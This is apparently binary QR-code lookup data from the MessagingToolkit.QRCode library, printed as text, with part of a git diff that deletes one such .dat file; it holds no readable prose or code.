YXWWVVUU8899::;;99887766PPQQRRSS!! hhiijjkk yyxxwwvvaa``__^^(())**++::998877kkllmmnn eeddccbb$$%%&&''MMLLKKJJ<<==>>??55443322TTUUVVWWllmmnnoommllkkjjEEFFGGHH@@AABBCC1100//..XXYYZZ[[TTSSRRQQ<<==>>??55443322TTUUVVWWllmmnnoouuttssrr]]\\[[ZZ,,--..//66554433ooppqqrraa``__^^(())**++IIHHGGFF@@AABBCC1100//..XXYYZZ[[ppqqrrssiihhggffIIJJKKLL - -DDEEFFGG--,,++**\\]]^^__ - - PPOONNMM@@AABBCC1100//..XXYYZZ[[ppqqrrssqqppoonnYYXXWWVV00112233221100//ssyyzz{{]]\\[[ZZ,,--..//EEDDCCBBDDEEFFGG--,,++**\\]]^^__ttuuvvwweeddccbbMMNNOOPP - - HHIIJJKK))((''&&``aabbcc LLKKJJIIDDEEFFGG--,,++**\\]]^^__ttuuvvwwmmllkkjjUUTTSSRR44556677..--,,++||||{{zzYYXXWWVV00112233AA@@??>>HHIIJJKK))((''&&``aabbccxxyyzz{{ - - aa``__^^QQRRSSTT LLMMNNOO%%$$##""ddeeffggHHGGFFEEHHIIJJKK))((''&&``aabbccxxyyzz{{ - - iihhggff !!""##QQPPOONN8899::;;**))((''yyxwvutsUUTTSSRR44556677==<<;;::LLMMNNOO%%$$##""ddeeffgg - -||||{{zz ]]WWVVUUUUVVWW]]PPQQRRSS!! hhiijjkkDDCCBBAALLMMNNOO%%$$##""ddeeffgg - -||||{{zz eeddccbb$$%%&&''MMLLKKJJ<<==>>??&&%%srrqqppo !!""##QQPPOONN8899::;;99887766PPQQRRSS!! hhiijjkk yyxxwwvvTTSSRRQQ^^__``aaTTUUVVWWllmmnnoo@?>=<;;:PPQQRRSS!! hhiijjkk yyxxwwvvaa``__^^(())**++IIHHGGFF@@AABBCConnmmllk$$%%&&''MMLLKKJJ<<==>>??55443322TTUUVVWWllmmnnoouuttssrrPPOONNMMbbccddeeXXYYZZ[[ppqqrrss:9988776TTUUVVWWllmmnnoouuttssrr]]\\[[ZZ,,--..//EEDDCCBBDDEEFFGGkjjiihhg(())**++IIHHGGFF@@AABBCC1100//..XXYYZZ[[ppqqrrssqqppoonnLLKKJJIIffgghhii\\]]^^__ttuuvvww%%&&''((65544332XXYYZZ[[ppqqrrssqqppoonnYYXXWWVV00112233AA@@??>>HHIIJJKKgffeeddc,,--..//EEDDCCBBDDEEFFGG--,,++**\\]]^^__ttuuvvwwmmllkkjjHHGGFFEEjjkkllmm !!""##``aabbccxxyyzz{{))**++,,21100//.\\]]^^__ttuuvvwwmmllkkjjUUTTSSRR44556677==<<;;::LLMMNNOOcbbaa``_00112233AA@@??>>HHIIJJKK))((''&&``aabbccxxyyzz{{ - - iihhggff !!""##DDCCBBAAnnooppqq$$%%&&''ddeeffgg - -||||{{zz--..//00.--,,++*``aabbccxxyyzz{{ - - iihhggff !!""##QQPPOONN8899::;;99887766PPQQRRSS - -_^^]]\[Z44556677==<<;;::LLMMNNOO%%$$##""ddeeffgg - -||||{{zz eeddccbb$$%%&&'';;::9988qqppoonn(())**++hhiijjkk yyssrrqq11223344*))((''&ddeeffgg - -||||{{zz eeddccbb$$%%&&''MMLLKKJJ<<==>>??55443322TTUUVVWW YXWWVVUU8899::;;99887766PPQQRRSS!! hhiijjkk yyxxwwvvaa``__^^(())**++77665544mmllkkjj,,--..//llmmnnooppoonnmm55667788&%%$#"! hhiijjkk yyxxwwvvaa``__^^(())**++IIHHGGFF@@AABBCC1100//..XXYYZZ[[TTSSRRQQ<<==>>??55443322TTUUVVWWllmmnnoouuttssrr]]\\[[ZZ,,--..//33221100iihhggff00112233ppqqrrssllkkjjii99::;;AAllmmnnoouuttssrr]]\\[[ZZ,,--..//EEDDCCBBDDEEFFGG--,,++**\\]]^^__ - - PPOONNMM@@AABBCC1100//..XXYYZZ[[ppqqrrssqqppoonnYYXXWWVV00112233//..--,,eeddccbb44556677ttuuvvwwhhggffeeBBCCDDEEppqqrrssqqppoonnYYXXWWVV00112233AA@@??>>HHIIJJKK))((''&&``aabbcc LLKKJJIIDDEEFFGG--,,++**\\]]^^__ttuuvvwwmmllkkjjUUTTSSRR44556677++**))((aa``__^^8899::;;xxyyzz{{ - - ddccbbaaFFGGHHIIttuuvvwwmmllkkjjUUTTSSRR44556677==<<;;::LLMMNNOO%%$$##""ddeeffggHHGGFFEEHHIIJJKK))((''&&``aabbccxxyyzz{{ - - iihhggff !!""##QQPPOONN8899::;;''&&%%]]\\[[ZZ<<==>>??||||{{zz ``__^^]]JJKKLLMMxxyyzz{{ - - iihhggff !!""##QQPPOONN8899::;;99887766PPQQRRSS!! hhiijjkkDDCCBBAALLMMNNOO%%$$##""ddeeffgg - -||||{{zz eeddccbb$$%%&&''MMLLKKJJ<<==>>??YYXXWWVV@@AABBCCyyxxwwvvWWVVUUTTNNOOPPQQ ||||{{zz eeddccbb$$%%&&''MMLLKKJJ<<==>>??55443322TTUUVVWWllmmnnoo@?>=<;;:PPQQRRSS!! hhiijjkk yyxxwwvvaa``__^^(())**++IIHHGGFF@@AABBCCUUTTSSRRDDEEFFGGuuttssrrSSRRQQPPRRSSTTUU - - yyxxwwvvaa``__^^(())**++IIHHGGFF@@AABBCC1100//..XXYYZZ[[ppqqrrss:9988776TTUUVVWWllmmnnoouuttssrr]]\\[[ZZ,,--..//EEDDCCBBDDEEFFGGQQPPOONNHHIIJJKKqqppoonnOONNMMLLVVWW]]^^uuttssrr]]\\[[ZZ,,--..//EEDDCCBBDDEEFFGG--,,++**\\]]^^__ttuuvvww%%&&''((65544332XXYYZZ[[ppqqrrssqqppoonnYYXXWWVV00112233AA@@??>>HHIIJJKKMMLLKKJJLLMMNNOOmmllkkjjKKJJIIHH__``aabbqqppoonnYYXXWWVV00112233AA@@??>>HHIIJJKK))((''&&``aabbccxxyyzz{{))**++,,21100//.\\]]^^__ttuuvvwwmmllkkjjUUTTSSRR44556677==<<;;::LLMMNNOO IIHHGGFFPPQQRRSSiihhggff !!""##GGFFEEDDccddeeffmmllkkjjUUTTSSRR44556677==<<;;::LLMMNNOO%%$$##""ddeeffgg - -||||{{zz--..//00.--,,++*``aabbccxxyyzz{{ - - iihhggff !!""##QQPPOONN8899::;;99887766PPQQRRSS - - - -EEDDCCBBTTUUVVWWeeddccbb$$%%&&''CCBBAA;;gghhiijj - - iihhggff !!""##QQPPOONN8899::;;99887766PPQQRRSS!! hhiijjkk yyssrrqq11223344*))((''&ddeeffgg - -||||{{zz eeddccbb$$%%&&''MMLLKKJJ<<==>>??55443322TTUUVVWW AA@@??>>XXYYZZ[[aa``__^^(())**++::998877kkllmmnn eeddccbb$$%%&&''MMLLKKJJ<<==>>??55443322TTUUVVWWllmmnnooppoonnmm55667788&%%$#"! hhiijjkk yyxxwwvvaa``__^^(())**++IIHHGGFF@@AABBCC1100//..XXYYZZ[[==<<;;::\\]]^^__]]\\[[ZZ,,--..//66554433ooppqqrraa``__^^(())**++IIHHGGFF@@AABBCC1100//..XXYYZZ[[ppqqrrssllkkjjii99::;;AAllmmnnoouuttssrr]]\\[[ZZ,,--..//EEDDCCBBDDEEFFGG--,,++**\\]]^^__99887766``aabbccYYXXWWVV00112233221100//ssyyzz{{]]\\[[ZZ,,--..//EEDDCCBBDDEEFFGG--,,++**\\]]^^__ttuuvvwwhhggffeeBBCCDDEEppqqrrssqqppoonnYYXXWWVV00112233AA@@??>>HHIIJJKK))((''&&``aabbcc55443322ddeeffggUUTTSSRR44556677..--,,++||||{{zzYYXXWWVV00112233AA@@??>>HHIIJJKK))((''&&``aabbccxxyyzz{{ - - ddccbbaaFFGGHHIIttuuvvwwmmllkkjjUUTTSSRR44556677==<<;;::LLMMNNOO%%$$##""ddeeffgg1100//..hhiijjkkQQPPOONN8899::;;**))((''yyxwvutsUUTTSSRR44556677==<<;;::LLMMNNOO%%$$##""ddeeffgg - -||||{{zz ``__^^]]JJKKLLMMxxyyzz{{ - - iihhggff !!""##QQPPOONN8899::;;99887766PPQQRRSS!! hhiijjkk%%&&''--,,++**llmmnnooppqqfpvbHAZtbdQf`vXJtArdnXvےbHAtbdQZfH~XQr˂JtArdnXvےbHAbnvr˂p|ZdQtA~HfrXQJ`JltpZHAb|ZdQ`f~Zp˂nXv`p˂rZ|dnvp|ZdQ`f~Zp˂|drf`vXpZHAb|ZdQ`f~Zp˂pfHZHAbrd|pvnےbHAbnvے`JbtlHfpvrXQJ`f~HXQJ`ےrtAdQZfH~btlHfpvrXQJ`tAJlnvpے`JbtlHfpvrXQJ`f`vXے`JXQZdQbtXv`fZp˂pfHXQr˂JtArdnXvےbHAfpvbHAZ|drvpfJtArdnXvےbHAtbdQZfH~XQr˂JtArdnXvےJlnvpr˂plJtA~HfrXQJ`f`vXpZHAb|ZdQ`f~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JtArdnXvےbHAtbdQZfH~JXQrXnvZ|dpZHAb|ZdQXv`f`ےbpfHXQr˂JtArdnXvےbHAtbdQZfH~XQr˂JtArdnXvےJl`vXnpZHAbtlHfpvrXQJ`f`vXpZHAb|ZdQ`f~Zp˂|drf`vX˂p`ZpfH~rQtJlے`Jbtl~HXHAZp˂f`vXpZHAb|ZdQ`f~Zp˂|drf`vXpZHAb|ZdQ`fHtdrtAvpfbے`JtArdnXvےJlnvpے`JbtlHfpvrXQJ`tAJlnvpQXb㉀ۅf۝`vtbAdXQr˂JtArdv`frXQJnvpے`JbtlHfpvrXQJ`tAJlnvpے`JbtlfpvJltH~fJXQrZ|ZdQ`fHtbdQZfH~XQr˂JtArdnXvےbHAtbdQZfH~pJAHrXnvZ|dpZHAb|ZdQ~Hfp`ےbfH~XQr˂JtArdnXvےbHAtbdQZfH~XQr˂JtArdnrXQJbdQZ|`vXHHAbےbtlfpv|drf`vXpZHAb|ZdQ`f~Zp˂|drf`vXˁ`ZpfH~rQtJlے`JbtlvnXHAXQJ`f`vXpZHAb|ZdQ`f~Zp˂|drf`vXpZHAb|ZdQ`ےHAdrtA~f``JXQrJtArdnrXQJtAJlnvpے`JbtlHfpvrXQJ`tAJlnvpQXb㉀ۅf۝`vtbAdXQr˂JtArdv`fےJlnvpے`JbtlHfpvrXQJ`tAJlnvpے`JbtlZp˂JltvXn˂pZ|ZdQ`ےHAtbdQZfH~XQr˂JtArdnXvےbHAtbdQZfH~pJAHrXnvZ|dpZHAb|ZdQ~HfptbQZdfH~XQr˂JtArdnXvےbHAtbdQZfH~XQr˂JfpvrXQJ`bdQZ|vpfHHAbےbtlZp˂|drf`vXpZHAb|ZdQ`f~Zp˂|drf`vXۑppfH~rQtJltuvwxyz{||{zyxwv5555555566666666666666666666666666 \ No newline at end of file diff --git a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv28_0.dat b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv28_0.dat deleted file mode 100644 index 2f3b646..0000000 --- a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv28_0.dat +++ /dev/null @@ -1,257 +0,0 @@ -~}~}~}~}|{|{|{|{zyzyzyzywwwwwxwxuvuvuvuvststststqrqrqrqropopopopopopopopmnmnmnmnklklklklijijijijghghghghgfefefefefefefefcdcdcdcdabababab______`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWXWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQPOPOPOPOPOPOPOPONMNMNMNMLKLKLKLKJIJIJIJIHGHGHGHGEFEFEFEFCDCDCDCDABABABAB?@?@?@?@?@?@?@?@=>=>=>=>;<;<;<;<9:9:9:9:787878787878787856565656~}~}~}~}|{|{|{|{zyzyzyzywxwxwxwxuvuvuvuvststststqrqrqrqropopopopopopopopmnmnmnmnklklklklijijijijghghghghefefefefefefefefcdcdcdcdabababab`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWXWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQPOPOPOPOPOPOPOPONMNMNMNMLKLKLKLKJIJIJIJIHGHGHGHGEFEFEFEFCDCDCDCDABABABAB?@?@?@?@?@?@?@?@=>=>=>=>;<;<;<;<9:9:9:9:787878787878787856565656~}~}~}~}|{|{|{|{zyzyzyzywxwxwxwxuvuvuvuvststststqrqrqrqropopopoponmnmnmnmnmnmnmnklklklklijijijijghghghghefefefefefefefefcdcdcdcdabababab`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWXWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQPOPOPOPONMNMNMNMNMNMNMNMLKLKLKLKJIJIJIJIGGGGGHGHEFEFEFEFCDCDCDCDABABABAB?@?@?@?@?@?@?@?@=>=>=>=>;<;<;<;<9:9:9:9:787878787878787856565656~}~}~}~}|{|{|{|{zyzyxwxwwxwxwxwxuvuvuvuvststststqrqrqrqropopopopmnmnmnmnmnmnmnmnklklklklijijijijghghghghefefefefefefefefcdcdcdcdababa`_``_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWXWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQPOPOPOPONMNMNMNMNMNMNMNMLKLKLKLKJIJIJIJIGHGHGHGHEFEFEFEFCDCDCDCDABABABAB?@?@?@?@?@?@?@?@=>=>=>=>;<;<;<;<9:9:9:9:78787878787878765656565634343434~}~}~}~}~}~}~}~}|{|{|{|{xwxwwwwwwxwxwxwuuvuvuvuvststststqrqrqrqropopopopmnmnmnmnmnmnmnmnklklklklijijijijghghghghefefefefefefefefcdcdcdcb_`_`____`_`_____^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUVUVUVUVUTSTSTSTSRQRQRQRQPOPOPOPONMNMNMNMNMNMNMNMLKLKLKLKJIJIJIJIGHGHGHGHEFEFEFEFCDCDCDCDABABABAB?@?@?@?@?@?@?@?@=>=>=>=>;<;<;<;<9:9:9:9:78787878565656565656565634343434~}~}~}~}~}~}~}~}|{|{|{zywxwxwxwxuuuuuvuvuvuvuvuvststststqrqrqrqropopopopmnmnmnmnmnmnmnmnklklklklijijijijghghghghefefefefefefefefabababab__`_`_`_`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUVUVUVUVUTSTSTSTSRQRQRQRQPOPOPOPONMNMNMNMNMNMNMNMLKLKLKLKJIJIHGHGGHGHGHGHEFEFEFEFCDCDCDCDABABABAB?@?@?@?@?@?@?@?>=>=>=>=>;<;<;<;<9:9:9:9:78787878565656565656565634343434~}~}~}~}~}~}~}~}zyzyzyzywxwxwxwxuvuvuvuvuvuvuvuvststststqrqrqrqropopopopmnmnmnmnmnmnmnmnklklklklijijijijghghghghefefefefedcdcdcdabababab`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUVUVUVUVUTSTSTSTSRQRQRQRQPOPOPOPONMNMNMNMNMNMNMNMLKLKLKJIHGHGGGGGGHGGGGGHEFEFEFEFCDCDCDCDABABABAB?@?@?@?@=>=>=>=>=>=>=>=>;<;<;<;<9:9:9:9:78787878565656565656565634343434~}~}~}~}~}~}~}~}zyzyzyzywxwxwxwxuvuvuvuvuvuvuvuvststststqrqrqrqropopopopmnmnmnmnmnmnmnmnklklklklijijijijghghghghefefefefcdcdcdcdabababab`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUVUVUVUVUTSTSTSTSRQRQRQRQPOPOPOPONMNMNMNMNMNMNMNMJIJIJIJIGHGHGHGHGHGHGHGFEFEFEFEFCDCDCDCDABABABAB?@?@?@?@=>=>=>=>=>=>=>=>;<;<;<;<9:9:9:9:78787878565656565656565634343434~}~}~}~}|{|{|{|{zyzyzyzywxwxwxwxuvuvuvuvuvuvuvuvststststqrqrqrqropopopopmnmnmnmnmlklklklklklklklijijijijghghghghefefefefcdcdcdcdabababab`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUVUVUVUVUTSTSTSTSRQRQRQRQPOPOPOPONMNMNMNMLKLKLKLKJIJIJIJIGHGHGHGHEFEFEFEFEFEFEFEFCDCDCDCDABABABAB?@?@?@?@=>=>=>=>=>=>=>=>;<;<;<;<9:9:9:9:78787878565656565656565634343434~}~}~}~}|{|{|{|{zyzyzyzywxwxwxwwuvuvuvuvuvuvuvuvststststqrqrqrqropopopopmnmnmnmnklklklklklklklklijijijijghghghghefefefefcdcdcdcdabababab`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUVUVUVUVUTSTSTSTSRQRQRQRQPOPOPOPONMNMNMNMLKLKLKLKJIJIJIJIGHGHGHGHEFEFEFEFEFEFEFEFCDCDCDCDABABABAB?@?@?@?@=>=>=>=>=>=>=>=>;<;<;<;<9:9:9:9:78787878565656565656565434343434~}~}~}~}|{|{|{|{zyzyzyzywwwwxwxwuvuvuvuvutstststststststqrqrqrqropopopopmnmnmnmnklklklklklklklklijijijijghghghghefefefefcdcdcdcdabababab_____`_`^]^]^]^]^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSTSTSTSTSRQRQRQRQPOPOPOPONMNMNMNMLKLKLKLKJIJIJIJIGHGHGHGHEFEFEFEFEFEFEFEFCDCDCDCDABABABAB?@?@?@?@=>=>=>=>=>=>=>=>;<;<;<;<9:9:9:9:78787878565656563434343434343434~}~}~}~}|{|{|{|{zyzyzyzyxwxwxwxwuvuvuvuvststststststststqrqrqrqropopopopmnmnmnmnklklklklklklklklijijijijghghghghefefefefcdcdcdcdabababab_`_`_`_`^]^]^]^]^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSTSTSTSTSRQRQRQRQPOPOPOPONMNMNMNMLKLKLKLKJIJIJIJIGHGHGHGGEFEFEFEFEFEFEFEFCDCDCDCDABABABAB?@?@?@?@=>=>=>=>=>=>=>=<;<;<;<;<9:9:9:9:78787878565656563434343434343212~}~}~}~}|{|{|{|{zyzyzyzyxwxwxwxwuvuvuvuvststststststststqrqrqrqropopopopmnmnmnmnklklklklklklklklijijijijghghghghefefefefcdcdcdcdabababab_`_`_`_`^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSTSTSTSTSRQRQRQRQPOPOPOPONMNMNMNMLKLKLKLKJIJIJIJIGGGGHGHGEFEFEFEFEFEFEFEFCDCDCDCDABABABAB?@?@?@?@=>=>=>=>;<;<;<;<;<;<;<;<9:9:9:9:78787878565656563434343412121212~}~}~}~}|{|{|{|{zyzyzyzyxwxwxwxwuvuvuvuvststststststststqrqrqrqropopopopmnmnmnmnklklklklklklklklijijijijghghghghefefefefcdcdcdcdabababab_`_`_`_`^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSTSTSTSTSRQRQRQRQPOPOPOPONMNMNMNMLKLKLKLKJIJIJIJIHGHGHGHGEFEFEFEFEFEFEFEDCDCDCDCDABABABAB?@?@?@?@=>=>=>=>;<;<;<;<;<;<;<;<9:9:9:9:78787878565656563434343412121212~}~}~}~}|{|{|{|{zyzyzyzyxwxwxwxwuvuvuvuvststststststststqrqrqrqropopopopmnmnmnmnklklklklkjijijijijijijijghghghghefefefefcdcdcdcdabababab_`_`_`_`^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSTSTSTSTSRQRQRQRQPOPOPOPONMNMNMNMLKLKLKLKJIJIJIJIHGHGHGHGEFEFEFEFCDCDCDCDCDCDCDCDABABABAB?@?@?@?@=>=>=>=>;<;<;<;<;<;<;<;<9:9:9:9:78787878565656563434343412121212~}~}~}~}|{|{|{|{zyzyzyzyxwwwwwwxuvuvuvuvststststststststqrqrqrqropopopopmnmnmnmnklklklklijijijijijijijijghghghghefefefefcdcdcdcdabababab_`______^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSTSTSTSTSRQRQRQRQPOPOPOPONMNMNMNMLKLKLKLKJIJIJIJIHGHGHGHGEFEFEFEFCDCDCDCDCDCDCDCDABABABAB?@?@?@?@=>=>=>=>;<;<;<;<;<;<;<;<9:9:9:9:78787878565656563434343412121212~}~}~}~}|{|{|{|{zyzyzyzywxwxwxwxuvuvuvuvststststsrqrqrqrqrqrqrqropopopopmnmnmnmnklklklklijijijijijijijijghghghghefefefefcdcdcdcdabababab`_`_`_`_^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQRQRQRQRQPOPOPOPONMNMNMNMLKLKLKLKJIJIJIJIHGHGHGHGEFEFEFEFCDCDCDCDCDCDCDCDABABABAB?@?@?@?@=>=>=>=>;<;<;<;<;<;<;<;<9:9:9:9:78787878565656563434343412121212~}~}~}~}|{|{|{|{zyzyzyzywxwxwxwxuvuvuvuvststststqrqrqrqrqrqrqrqropopopopmnmnmnmnklklklklijijijijijijijijghghghghefefefefcdcdcdcdabababab`_`_`_`_^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQRQRQRQRQPOPOPOPONMNMNMNMLKLKLKLKJIJIJIJIHGGGGGGHEFEFEFEFCDCDCDCDCDCDCDCDABABABAB?@?@?@?@=>=>=>=>;<;<;<;<;<;<;<;:9:9:9:9:78787878565656563434343412121212~}~}~}~}|{|{|{|{zyzyzyzywxwxwxwxuvuvuvuvststststqrqrqrqrqrqrqrqropopopopmnmnmnmnklklklklijijijijijijijijghghghghefefefefcdcdcdcdabababab`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQRQRQRQRQPOPOPOPONMNMNMNMLKLKLKLKJIJIJIJIGHGHGHGHEFEFEFEFCDCDCDCDCDCDCDCDABABABAB?@?@?@?@=>=>=>=>;<;<;<;<9:9:9:9:9:9:9:9:78787878565656563434343412121212~}~}~}~}|{|{|{|{zyzyzyzywxwxwxwxuvuvuvuvststststqrqrqrqrqrqrqrqropopopopmnmnmnmnklklklklijijijijijijijijghghghghefefefefcdcdcdcdabababab`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQRQRQRQRQPOPOPOPONMNMNMNMLKLKLKLKJIJIJIJIGHGHGHGHEFEFEFEFCDCDCDCDCDCDCDCBABABABAB?@?@?@?@=>=>=>=>;<;<;<;<9:9:9:9:9:9:9:9:78787878565656563434343412121212~}~}~}~}|{|{|{|{zyzyzyzywxwxwwwwuvuvuvuvststststqrqrqrqrqrqrqrqropopopopmnmnmnmnklklklklijijijijihghghghghghghghefefefefcdcdcdcdabababab`_`_`___^]^]^]^]\[\[\[\[ZYZYZYZYZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQRQRQRQRQPOPOPOPONMNMNMNMLKLKLKLKJIJIJIJIGHGHGHGHEFEFEFEFCDCDCDCDABABABABABABABAB?@?@?@?@=>=>=>=>;<;<;<;<9:9:9:9:9:9:9:9:78787878565656563434343412121212~}~}~}~}|{|{|{|{zyzyzyzywwxwxwxwuvuvuvuvststststqrqrqrqrqrqrqrqropopopopmnmnmnmnklklklklijijijijghghghghghghghghefefefefcdcdcdcdabababab___`_`_`^]^]^]^]\[\[\[\[ZYZYZYZYZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQRQRQRQRQPOPOPOPONMNMNMNMLKLKLKLKJIJIJIJIGHGHGHGHEFEFEFEFCDCDCDCDABABABABABABABAB?@?@?@?@=>=>=>=>;<;<;<;<9:9:9:9:9:9:9:9:78787878565656563434343412121212~}~}~}~}|{|{|{|{zyzyzyzyxwxwxwxwuvuvuvuvststststqrqrqrqrqpopopopopopopopmnmnmnmnklklklklijijijijghghghghghghghghefefefefcdcdcdcdabababab_`_`_`_`^]^]^]^]\[\[\[\[ZYZYZYZYZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQPOPOPOPOPOPOPOPONMNMNMNMLKLKLKLKJIJIJIJIGHGHGGGGEFEFEFEFCDCDCDCDABABABABABABABAB?@?@?@?@=>=>=>=>;<;<;<;<9:9:9:9:9:9:9:9:78787878565656563434343412121212~}~}~}~}|{|{|{|{zyzyzyzyxwxwxwxwuvuvuvuvststststqrqrqrqropopopopopopopopmnmnmnmnklklklklijijijijghghghghghghghghefefefefcdcdcdcdabababab_`_`_`_`^]^]^]^]\[\[\[\[ZYZYZYZYZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQPOPOPOPOPOPOPOPONMNMNMNMLKLKLKLKJIJIJIJIGGHGHGHGEFEFEFEFCDCDCDCDABABABABABABABAB?@?@?@?@=>=>=>=>;<;<;<;<9:9:9:9:9:9:9:9878787878565656563434343412121212~}~}~}~}|{|{|{|{zyzyzyzyxwxwxwxwuvuvuvuvststststqrqrqrqropopopopopopopopmnmnmnmnklklklklijijijijghghghghghghghghefefefefcdcdcdcdabababab_`_`_`_`^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWXWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQPOPOPOPOPOPOPOPONMNMNMNMLKLKLKLKJIJIJIJIHGHGHGHGEFEFEFEFCDCDCDCDABABABABABABABAB?@?@?@?@=>=>=>=>;<;<;<;<9:9:9:9:7878787878787878565656563434343412121212~}~}~}~}|{|{|{|{zyzyzyzyxwxwxwxwuvuvuvuvststststqrqrqrqropopopopopopopopmnmnmnmnklklklklijijijijghghghghghghghghefefefefcdcdcdcdabababab_`_`_`_`^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWXWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQPOPOPOPOPOPOPOPONMNMNMNMLKLKLKLKJIJIJIJIHGHGHGHGEFEFEFEFCDCDCDCDABABABABABABABA@?@?@?@?@=>=>=>=>;<;<;<;<9:9:9:9:7878787878787878565656563434343412121212121212120/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!"!"!"!"!         - - - - - - - -121212120/0/////.-.-.-.-,+,+,+,+*)*)*)*)*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!"!"!"!"!         - - - - - - - -12121212/0/0/0/0.-.-.-.-,+,+,+,+*)*)*)*)*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!"!"!"!          - - - - - - - -12121212/0/0/0/0.-.-.-.-,+,+,+,+*)*)*)*)*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!             - - - - - - - -12121212/0/0/0/0.-.-.-.-,+,+,+,+*)*)*)*)*)*)*)('('('('('&%&%&%&%$#$#$#$#"!"!"!"!             - - - - - - 12121212/0/0/0/0.-.-.-.-,+,+,+,+*)*)*)*)('('('('('('('('&%&%&%&%$#$#$#$#"!"!"!"!             - - - -12121212/0/0/0//.-.-.-.-,+,+,+,+*)*)*)*)('('('('('('('('&%&%&%&%$#$#$#$#"!"!"!"!             - - - -12121212////0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('('('('('&%&%&%&%$#$#$#$#"!"!"!"!             - - - -121212120/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('('('('('&%&%&%&%$#$#$#$#"!"!"!"!            - - - -121212120/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('('('('('&%&%&%&%$#$#$#$#"!"!"!"!         - - - -1210/0/00/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('('('('&%&%&%&%&%$#$#$#$#"!"!"!"!         - - - -/0//////0/////0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%&%&%&%&%$#$#$#$#"!"!"!"!         - - - -0/0/0/0/0/0/0/.-.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%&%&%&%&%$#$#$#$#"!"!"!"!          - - - -0/0/0/0/.-.-.-.-.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%&%&%&%&%$#$#$#$#"!"!"!"!             - - - -0/0/0/0/.-.-.-.-.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%&%&%&%&%$#$#$#$#"!"!"!"!             - - - -0/0/0/0/.-.-.-.-.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%&%&%&%&%$#$#$#$#"!"!"!"!             - - - -0/0/0///.-.-.-.-.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%&%&%&%$#$#$#$#$#"!"!"!"!             - - - -///0/0/0.-.-.-.-.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#$#$#$#$#"!"!"!"!             - - - -/0/0/0/0.-.-.-.-.-.-.-,+,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#$#$#$#$#"!"!"!"!           - - - -/0/0/0/0.-.-.-.-,+,+,+,+,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#$#$#$#$#"!"!"!"!         - - - -/0/0/0/0.-.-.-.-,+,+,+,+,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#$#$#$#$#"!"!"!"!         - - - -/0/0/0/0.-.-.-.-,+,+,+,+,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#$#$#$#$#"!"!"!"!         - - - 